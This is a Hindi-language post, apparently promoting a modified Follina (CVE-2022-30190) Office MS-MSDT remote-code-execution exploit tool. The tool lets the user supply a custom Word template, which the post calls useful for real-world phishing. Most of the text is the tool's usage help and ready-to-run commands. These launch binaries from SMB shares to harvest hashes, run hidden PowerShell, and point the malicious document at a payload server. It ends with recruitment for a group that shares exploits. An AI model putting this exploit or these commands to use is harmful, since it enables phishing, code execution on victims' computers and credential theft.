
MS-MSDT Office RCE के लिए संशोधित CVE-2022-30190 एक्सप्लॉइट टूल, कस्टम docx टेम्पलेट समर्थन, बाइनरी/कमांड निष्पादन मोड, और दूरस्थ पेलोड वितरण के लिए एम्बेडेड HTTP सर्वर के साथ।
https://github.com/chvancooten/follina.py परियोजना के अनुसार संशोधित किया गया, जिसमें कस्टम docx टेम्पलेट फ़ाइल निर्दिष्ट की जा सकती है, जो वास्तविक युद्ध में फ़िशिंग के लिए उपयोगी है। अपनी खुद की फ़िशिंग Word दस्तावेज़ संपादित करने के बाद -f पैरामीटर से निर्दिष्ट करें।
usage: follina.py [-h] -m {binary,command} [-b BINARY] [-f FILE] [-c COMMAND] [-u URL] [-H HOST] [-P PORT]
optional arguments:
-h, --help show this help message and exit
Required Arguments:
-m {binary,command}, --mode {binary,command}
Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command
Binary Execution Arguments:
-b BINARY, --binary BINARY
The full path of the binary to run. Can be local or remote from an SMB share
Docx file Arguments:
-f FILE, --file FILE The docx file
Command Execution Arguments:
-c COMMAND, --command COMMAND
The encoded command to execute in "command" mode
Optional Arguments:
-u URL, --url URL The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost"
-H HOST, --host HOST The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
-P PORT, --port PORT The port to run the HTTP server on, defaults to 80
Default docx muban.docx
# Execute a local binary
python .\follina.py -m binary -b \windows\system32\calc.exe
python .\follina.py -m binary -b \windows\system32\calc.exe -f muban2.docx
# On linux you may have to escape backslashes
python .\follina.py -m binary -b \\windows\\system32\\calc.exe
# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -m binary -b \\localhost\c$\windows\system32\calc.exe
# Execute an arbitrary powershell command
python .\follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"
# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4
# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080


रुचि रखने वाले Z2O सुरक्षा आक्रमण और रक्षा सार्वजनिक खाते को फ़ॉलो कर सकते हैं और "ग्रुप जोड़ें" का जवाब दे सकते हैं, Z2OBot छोटा K अपने आप आपको Z2O सुरक्षा आक्रमण और रक्षा चर्चा समूह में जोड़ देगा और अधिक अच्छी चीज़ें साझा करेगा।



टीम ने एक ज्ञान ग्रह (Knowledge Planet) स्थापित किया है, जहाँ समय-समय पर नवीनतम कमज़ोरी रिप्ले (vulnerability reenactment) अपडेट किया जाता है, कदम-दर-कदम सिखाया जाता है, साथ ही समय-समय पर POC, आंतरिक और बाहरी नेटवर्क पेनेट्रेशन टेस्ट के दिलचस्प तरीके अपडेट किए जाते हैं। रुचि रखने वाले जुड़ सकते हैं।




स्टार करने का स्वागत है ⭐ O(∩_∩)O